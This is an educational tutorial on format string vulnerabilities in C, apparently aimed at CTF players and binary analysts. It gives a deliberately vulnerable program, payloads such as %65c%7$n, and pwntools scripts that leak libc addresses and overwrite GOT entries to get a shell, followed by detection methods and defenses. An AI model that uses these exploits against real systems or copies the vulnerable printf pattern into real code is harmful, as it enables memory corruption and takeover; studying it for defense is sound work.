Format string vulnerabilities are one of those bugs that look innocuous — a missing argument to printf — yet enable some of the most powerful exploitation primitives: arbitrary memory reads and arbitrary memory writes. They appear regularly in CTF challenges and occasionally in real-world code. Understanding them from first principles makes you a significantly better binary analyst.
The Root Cause
The vulnerability occurs when user-controlled data is passed directly as the format string argument to functions like printf, fprintf, sprintf, or syslog.
Safe:
printf("%s", user_input);
Vulnerable:
printf(user_input);
In the vulnerable version, if user_input contains format specifiers like %x, %s, or %n, printf interprets them against whatever values happen to be on the stack — values the programmer never intended to expose.
How %x Reads Memory
printf expects its format specifiers to correspond to arguments pushed onto the stack (or passed in registers on x86-64). When you provide more specifiers than arguments, printf reads further up the stack.
// Vulnerable program
#include <stdio.h>
int main() {
char buf[100];
fgets(buf, sizeof(buf), stdin);
printf(buf); // vulnerability
return 0;
}
Send: %x.%x.%x.%x
Output might be: f7fc5580.0.0.61616161
Each %x reads 4 bytes from the stack and prints them as hex. The last value (0x61616161 = “aaaa”) is likely data you provided earlier in the buffer — you can confirm this by adjusting your input. This confirms the stack layout and lets you find the offset to your own buffer.
Finding the Buffer’s Position on the Stack
from pwn import *
io = process("./vuln")
# Try each offset until we see our marker (0x41414141)
for i in range(1, 50):
io = process("./vuln")
payload = f"AAAA.%{i}$x"
io.sendline(payload.encode())
result = io.recv()
print(f"Offset {i}: {result}")
io.close()
When you see 41414141 at offset n, your buffer starts at position n on the stack.
How %n Writes Memory
%n writes the number of bytes printed so far to the address pointed to by the corresponding argument. This is the write primitive.
int count;
printf("Hello%n", &count);
// count is now 5
In a format string vulnerability, you can place an address at a known stack offset, then use %<n>$n to write to that address. This enables:
- Overwriting function pointers
- Overwriting GOT entries to redirect calls
- Overwriting return addresses
Writing a Specific Value
To write the value 0x41 (65), print 65 characters before %n:
%65c%7$n
This prints 65 characters (padding from %65c), then %7$n writes 65 to the address at stack position 7.
For larger values (like a full address), use %hn (write 2 bytes) or %hhn (write 1 byte) to avoid printing millions of characters.
pwntools includes fmtstr_payload() — a powerful helper that generates format string payloads for arbitrary writes:
from pwn import *
io = process("./vuln")
elf = ELF("./vuln")
# Find the offset (where your input appears on the stack)
offset = 6 # determined via manual testing
# Target: overwrite GOT entry for exit() with address of win()
target = elf.got["exit"]
value = elf.sym["win"]
payload = fmtstr_payload(offset, {target: value})
io.sendline(payload)
io.interactive()
fmtstr_payload handles the complex arithmetic of writing multi-byte values using %hn writes, making what used to be a hours-long manual process a one-liner.
Leaking Memory with %s
While %x prints stack values as integers, %s dereferences the stack value as a pointer and prints the string it points to. This is useful for leaking addresses from the GOT:
# Leak the runtime address of printf from the GOT
got_printf = elf.got["printf"]
payload = p32(got_printf) + b".%1$s" # 32-bit example
io.sendline(payload)
response = io.recvuntil(b".")
leaked = u32(response[-4:])
print(f"printf @ {hex(leaked)}")
# Calculate libc base
libc_base = leaked - libc.sym["printf"]
Static Analysis
# Grep source code for dangerous patterns
grep -rn "printf(.*user" src/
grep -rn 'printf($' src/ # printf called with single variable
In binaries, look for calls where the format argument comes directly from user input without being wrapped in "%s".
Dynamic Detection with GDB
gdb ./vuln
break printf
run
# Input: %x.%x.%x
# If printf's first arg is your input string, it's vulnerable
AFL/Fuzzing
Format string bugs are detectable by fuzzing with format specifier inputs: %n, %s, %x, %p. If the program crashes on %s or %n (segfault from bad pointer dereference), you’ve found one.
Practical CTF Approach
A typical CTF format string challenge goes like this:
- Identify the bug: Run with
%x.%x.%x.%x — do you see hex output?
- Find your offset: Send
AAAA.%1$x, AAAA.%2$x, … until you see 41414141
- Leak a libc address: Use
%<offset>$s to read a GOT entry
- Calculate libc base: Subtract the known offset of the leaked function
- Overwrite a function pointer: Use
fmtstr_payload() to redirect control
- Get a shell: Aim for
system or a one-gadget from libc
Defenses and Why They Matter
| Defense | Effect |
|---|
Always use printf("%s", input) | Prevents format specifier interpretation |
| Full RELRO | Makes GOT read-only, blocking GOT overwrites |
| Compiler warnings | GCC -Wformat-security catches suspicious printf calls |
| Static analysis (Coverity, Semgrep) | Catches the vulnerable pattern at code review |
Format string bugs are largely preventable with a single coding discipline: never pass untrusted input as a format string. For analysts, they represent one of the most elegant exploitation paths in binary security.